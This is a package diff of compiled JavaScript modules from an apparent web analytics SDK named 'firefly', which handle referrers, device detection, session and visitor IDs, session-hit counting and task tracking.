var currentReferrer = stripQueryParams(document.referrer);
|
52
|
+
var currentUrl = stripQueryParams(firefly_shared_ts_1.Browser.getCurrentUrl());
|
53
|
+
prevPageUrl = ((0, firefly_utilities_helper_ts_1.isNullOrUndefined)(prevPageUrl)) ? "" : prevPageUrl;
|
54
|
+
if (!(0, firefly_utilities_helper_ts_1.isEmptyString)(currentReferrer)) {
|
55
|
+
referrer = currentReferrer;
|
56
|
+
if (!(0, firefly_utilities_helper_ts_1.isEmptyString)(prevPageUrl) && prevPageUrl !== currentUrl) {
|
57
|
+
referrer = prevPageUrl;
|
58
|
+
}
|
59
|
+
}
|
60
|
+
else if (!(0, firefly_utilities_helper_ts_1.isEmptyString)(prevPageUrl)) {
|
61
|
+
referrer = prevPageUrl;
|
62
|
+
}
|
63
|
+
firefly_utilities_ts_1.FFPersistenceManager.setSessionValue('prevPageUrl', currentUrl, persistMethod);
|
64
|
+
return referrer;
|
65
|
+
}
|
66
|
+
exports.getReferrer = getReferrer;
|
67
|
+
function getSourceValue() {
|
68
|
+
var sourceValue;
|
69
|
+
var ipad = /iPad/i;
|
70
|
+
var mobile = /Android|BlackBerry|IEMobile|iPhone|iPod|Opera Mini|NokiaBrowser|Silk|webOs|Windows Phone/i;
|
71
|
+
var nonDesktop = /Android|BlackBerry|iPhone|iPad|iPod|Opera Mini|IEMobile|NokiaBrowser|Silk|mobile|tablet/i;
|
72
|
+
var userAgent = firefly_shared_ts_1.Browser.getName();
|
73
|
+
switch (true) {
|
74
|
+
case !nonDesktop.test(userAgent):
|
75
|
+
sourceValue = 1;
|
76
|
+
break;
|
77
|
+
case mobile.test(userAgent):
|
78
|
+
sourceValue = 2;
|
79
|
+
break;
|
80
|
+
case ipad.test(userAgent):
|
81
|
+
sourceValue = 3;
|
82
|
+
break;
|
83
|
+
default:
|
84
|
+
sourceValue = 0;
|
85
|
+
break;
|
86
|
+
}
|
87
|
+
return sourceValue;
|
88
|
+
}
|
89
|
+
exports.getSourceValue = getSourceValue;
|
90
|
+
function setInternalAppSessionId() {
|
91
|
+
var sessionId = firefly_utilities_ts_1.FFPersistenceManager.getSessionStorageValue('sessionId');
|
92
|
+
if ((0, firefly_utilities_helper_ts_1.isNullOrUndefined)(sessionId)) {
|
93
|
+
sessionId = firefly_shared_ts_1.Identity.createSessionId();
|
94
|
+
firefly_utilities_ts_1.FFPersistenceManager.setSessionStorageValue('sessionId', sessionId);
|
95
|
+
}
|
96
|
+
return sessionId;
|
97
|
+
}
|
98
|
+
exports.setInternalAppSessionId = setInternalAppSessionId;
|
99
|
+
function sanitizeUrl(url) {
|
100
|
+
if ((0, firefly_utilities_helper_ts_1.isString)(url)) {
|
101
|
+
var queryParams = getQueryParams(url);
|
102
|
+
for (var key in queryParams) {
|
103
|
+
var lowerCaseKey = key.toLowerCase();
|
104
|
+
if (lowerCaseKey === 'pass' || lowerCaseKey === 'password' || lowerCaseKey === 'pwd' || lowerCaseKey === 'passwd') {
|
105
|
+
url = setParam(url, key, queryParams[key]);
|
106
|
+
}
|
107
|
+
}
|
108
|
+
}
|
109
|
+
return url;
|
110
|
+
}
|
111
|
+
exports.sanitizeUrl = sanitizeUrl;
|
@@ -0,0 +1,63 @@
|
|
1
|
+
"use strict";
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
3
|
+
exports.getViewId = exports.getSessionHit = exports.getSdkVersion = exports.setPrevPageType = exports.setPrevPageName = exports.getPrevPageType = exports.getPrevPageName = void 0;
|
4
|
+
var firefly_utilities_helper_ts_1 = require("firefly-utilities-helper-ts");
|
5
|
+
var firefly_utilities_ts_1 = require("firefly-utilities-ts");
|
6
|
+
var firefly_shared_ts_1 = require("firefly-shared-ts");
|
7
|
+
var pjson = require('../../version.json');
|
8
|
+
function getPrevPageName(persistMethod) {
|
9
|
+
return firefly_utilities_ts_1.FFPersistenceManager.getSessionValue('prevPageName', persistMethod);
|
10
|
+
}
|
11
|
+
exports.getPrevPageName = getPrevPageName;
|
12
|
+
function getPrevPageType(persistMethod) {
|
13
|
+
return firefly_utilities_ts_1.FFPersistenceManager.getSessionValue('prevPageType', persistMethod);
|
14
|
+
}
|
15
|
+
exports.getPrevPageType = getPrevPageType;
|
16
|
+
function setPrevPageName(json, persistMethod) {
|
17
|
+
var pageName = '';
|
18
|
+
if ((0, firefly_utilities_helper_ts_1.isObject)(json.appState) && (0, firefly_utilities_helper_ts_1.isDefined)(json.appState.pageName)) {
|
19
|
+
pageName = json.appState.pageName;
|
20
|
+
}
|
21
|
+
else if ((0, firefly_utilities_helper_ts_1.isObject)(json.view) && (0, firefly_utilities_helper_ts_1.isDefined)(json.view.name)) {
|
22
|
+
pageName = json.view.name;
|
23
|
+
}
|
24
|
+
firefly_utilities_ts_1.FFPersistenceManager.setSessionValue('prevPageName', pageName, persistMethod);
|
25
|
+
}
|
26
|
+
exports.setPrevPageName = setPrevPageName;
|
27
|
+
function setPrevPageType(json, persistMethod) {
|
28
|
+
var pageType = '';
|
29
|
+
if ((0, firefly_utilities_helper_ts_1.isObject)(json.appState) && (0, firefly_utilities_helper_ts_1.isDefined)(json.appState.pageType)) {
|
30
|
+
pageType = json.appState.pageType;
|
31
|
+
}
|
32
|
+
else if ((0, firefly_utilities_helper_ts_1.isObject)(json.view) && (0, firefly_utilities_helper_ts_1.isDefined)(json.view.type)) {
|
33
|
+
pageType = json.view.type;
|
34
|
+
}
|
35
|
+
firefly_utilities_ts_1.FFPersistenceManager.setSessionValue('prevPageType', pageType, persistMethod);
|
36
|
+
}
|
37
|
+
exports.setPrevPageType = setPrevPageType;
|
38
|
+
function getSdkVersion() {
|
39
|
+
var sdkVersion = '';
|
40
|
+
if ((0, firefly_utilities_helper_ts_1.isString)(pjson.version) && !(0, firefly_utilities_helper_ts_1.isEmptyString)(pjson.version)) {
|
41
|
+
sdkVersion = pjson.version;
|
42
|
+
}
|
43
|
+
return sdkVersion;
|
44
|
+
}
|
45
|
+
exports.getSdkVersion = getSdkVersion;
|
46
|
+
function getSessionHit(persistMethod) {
|
47
|
+
var sessionHit;
|
48
|
+
var sessionHitCookie = firefly_utilities_ts_1.FFPersistenceManager.getSessionValue('sessionHit', persistMethod);
|
49
|
+
sessionHit = firefly_utilities_ts_1.Utilities.getNumberOrDefault(sessionHitCookie);
|
50
|
+
sessionHit += 1;
|
51
|
+
firefly_utilities_ts_1.FFPersistenceManager.setSessionValue('sessionHit', sessionHit.toString(), persistMethod);
|
52
|
+
return sessionHit.toString();
|
53
|
+
}
|
54
|
+
exports.getSessionHit = getSessionHit;
|
55
|
+
function getViewId(persistMethod) {
|
56
|
+
var viewId = firefly_utilities_ts_1.FFPersistenceManager.getSessionValue('viewId', persistMethod);
|
57
|
+
if (!(0, firefly_utilities_helper_ts_1.isString)(viewId) || (0, firefly_utilities_helper_ts_1.isEmptyString)(viewId)) {
|
58
|
+
viewId = firefly_shared_ts_1.Event.createViewId();
|
59
|
+
firefly_utilities_ts_1.FFPersistenceManager.setSessionValue('viewId', viewId, persistMethod);
|
60
|
+
}
|
61
|
+
return viewId;
|
62
|
+
}
|
63
|
+
exports.getViewId = getViewId;
|
@@ -0,0 +1,38 @@
|
|
1
|
+
"use strict";
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
3
|
+
exports.isNewGuest = exports.getVisitorId = exports.getSessionId = void 0;
|
4
|
+
var firefly_utilities_helper_ts_1 = require("firefly-utilities-helper-ts");
|
5
|
+
var firefly_utilities_ts_1 = require("firefly-utilities-ts");
|
6
|
+
var firefly_shared_ts_1 = require("firefly-shared-ts");
|
7
|
+
var browser_1 = require("./browser");
|
8
|
+
function setVisitorId() {
|
9
|
+
var sourceValue = (0, browser_1.getSourceValue)();
|
10
|
+
var visitorId = firefly_shared_ts_1.Identity.createVisitorId(sourceValue);
|
11
|
+
firefly_utilities_ts_1.FFPersistenceManager.setVisitorId(visitorId, 'cookies');
|
12
|
+
}
|
13
|
+
function getSessionId(persistMethod) {
|
14
|
+
var sessionHash = firefly_utilities_ts_1.FFPersistenceManager.getSessionValue('sessionHash', persistMethod);
|
15
|
+
if ((0, firefly_utilities_helper_ts_1.isNullOrUndefined)(sessionHash)) {
|
16
|
+
sessionHash = firefly_shared_ts_1.Identity.createSessionId();
|
17
|
+
firefly_utilities_ts_1.FFPersistenceManager.setSessionValue('sessionHash', sessionHash, persistMethod);
|
18
|
+
}
|
19
|
+
return sessionHash;
|
20
|
+
}
|
21
|
+
exports.getSessionId = getSessionId;
|
22
|
+
function getVisitorId() {
|
23
|
+
var visitorId = firefly_utilities_ts_1.FFPersistenceManager.getVisitorId('cookies');
|
24
|
+
if (!(0, firefly_utilities_helper_ts_1.isNullOrUndefined)(visitorId)) {
|
25
|
+
firefly_utilities_ts_1.FFPersistenceManager.setVisitorId(visitorId, 'cookies');
|
26
|
+
}
|
27
|
+
return visitorId;
|
28
|
+
}
|
29
|
+
exports.getVisitorId = getVisitorId;
|
30
|
+
function isNewGuest() {
|
31
|
+
var newGuest = false;
|
32
|
+
if ((0, firefly_utilities_helper_ts_1.isNullOrUndefined)(firefly_utilities_ts_1.FFPersistenceManager.getVisitorId('cookies'))) {
|
33
|
+
setVisitorId();
|
34
|
+
newGuest = true;
|
35
|
+
}
|
36
|
+
return newGuest;
|
37
|
+
}
|
38
|
+
exports.isNewGuest = isNewGuest;
|
@@ -0,0 +1,14 @@
|
|
1
|
+
"use strict";
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
3
|
+
exports.setDataToStorage = exports.getDataFromStorage = void 0;
|
4
|
+
var firefly_utilities_ts_1 = require("firefly-utilities-ts");
|
5
|
+
function getDataFromStorage(eventManagerKey, persistMethod, storageKey) {
|
6
|
+
var method = (persistMethod === 'cookies') ? 'window' : persistMethod;
|
7
|
+
return firefly_utilities_ts_1.PersistenceManager.get(eventManagerKey + storageKey, method);
|
8
|
+
}
|
9
|
+
exports.getDataFromStorage = getDataFromStorage;
|
10
|
+
function setDataToStorage(data, eventManagerKey, persistMethod, storageKey) {
|
11
|
+
var method = (persistMethod === 'cookies') ? 'window' : persistMethod;
|
12
|
+
firefly_utilities_ts_1.PersistenceManager.set(eventManagerKey + storageKey, data, method);
|
13
|
+
}
|
14
|
+
exports.setDataToStorage = setDataToStorage;
|
@@ -0,0 +1,34 @@
|
|
1
|
+
"use strict";
|
2
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
3
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
4
|
+
};
|
5
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
6
|
+
exports.setInternalAppTaskNode = void 0;
|
7
|
+
var firefly_utilities_ts_1 = require("firefly-utilities-ts");
|
8
|
+
var firefly_utilities_helper_ts_1 = require("firefly-utilities-helper-ts");
|
9
|
+
var task_status_1 = __importDefault(require("../constants/task-status"));
|
10
|
+
var firefly_shared_ts_1 = require("firefly-shared-ts");
|
11
|
+
function setInternalAppTaskNode(json, systemTime) {
|
12
|
+
var id, initiatedTimestamp, name, sessionTaskObj, status, taskNode;
|
13
|
+
taskNode = firefly_utilities_ts_1.Utilities.getValueFromObject(json, "task", null);
|
14
|
+
if (!(0, firefly_utilities_helper_ts_1.isNullOrUndefined)(taskNode) && !firefly_utilities_ts_1.Utilities.isEmptyObject(taskNode)) {
|
15
|
+
sessionTaskObj = firefly_utilities_ts_1.FFPersistenceManager.getSessionStorageValue('task');
|
16
|
+
id = firefly_utilities_ts_1.Utilities.getValueFromObject(sessionTaskObj, 'id', null);
|
17
|
+
initiatedTimestamp = firefly_utilities_ts_1.Utilities.getValueFromObject(sessionTaskObj, 'initiatedTimestamp', null);
|
18
|
+
name = firefly_utilities_ts_1.Utilities.getValueFromObject(taskNode, 'name', null);
|
19
|
+
status = firefly_utilities_ts_1.Utilities.getValueFromObject(taskNode, 'status', null);
|
20
|
+
if ((0, firefly_utilities_helper_ts_1.isNullOrUndefined)(id)) {
|
21
|
+
id = firefly_shared_ts_1.Event.createEventId();
|
22
|
+
initiatedTimestamp = systemTime;
|
23
|
+
name = firefly_utilities_ts_1.Utilities.getValueFromObject(taskNode, 'name', null);
|
24
|
+
firefly_utilities_ts_1.FFPersistenceManager.setSessionStorageValue('task', { id: id, initiatedTimestamp: initiatedTimestamp, name: name });
|
25
|
+
}
|
26
|
+
taskNode = { id: id, initiatedTimestamp: initiatedTimestamp, name: name };
|
27
|
+
if (!(0, firefly_utilities_helper_ts_1.isNullOrUndefined)(status) && (status === task_status_1.default.SUCCESS || status === task_status_1.default.FAIL ||
|
28
|
+
status === task_status_1.default.CANCELLED)) {
|
29
|
+
firefly_utilities_ts_1.FFPersistenceManager.setSessionStorageValue('task', null);
|
30
|
+
}
|
31
|
+
}
|
32
|
+
return taskNode;
|
33
|
+
}
|
34
|
+
exports.setInternalAppTaskNode = setInternalAppTaskNode;
|
package/dist/index.js
ADDED
@@ -0,0 +1,27 @@
|
|
1
|
+
"use strict";
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
3
|
+
if (k2 === undefined) k2 = k;
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
7
|
+
}
|
8
|
+
Object.defineProperty(o, k2, desc);
|
9
|
+
}) : (function(o, m, k, k2) {
|
10
|
+
if (k2 === undefined) k2 = k;
|
11
|
+
o[k2] = m[k];
|
12
|
+
}));
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
15
|
+
}) : function(o, v) {
|
16
|
+
o["default"] = v;
|
17
|
+
});
|
18
|
+
var __importStar = (this && this.__importStar) || function (mod) {
|
19
|
+
if (mod && mod.__esModule) return mod;
|
20
|
+
var result = {};
|
21
|
+
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
|
22
|
+
__setModuleDefault(result, mod);
|
23
|
+
return result;
|
24
|
+
};
|
25
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
26
|
+
var Firefly = __importStar(require("./firefly"));
|
27
|
+
exports.default = Firefly;
|
@@ -0,0 +1,13 @@
|
|
1
|
+
"use strict";
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
3
|
+
var firefly_utilities_ts_1 = require("firefly-utilities-ts");
|
4
|
+
var DataLayerInterceptor = /** @class */ (function () {
|
5
|
+
function DataLayerInterceptor() {
|
6
|
+
}
|
7
|
+
DataLayerInterceptor.prototype.apply = function (json) {
|
8
|
+
var interceptorJSON = {};
|
9
|
+
return firefly_utilities_ts_1.Utilities.extend(json, interceptorJSON);
|
10
|
+
};
|
11
|
+
return DataLayerInterceptor;
|
12
|
+
}());
|
13
|
+
exports.default = DataLayerInterceptor;
|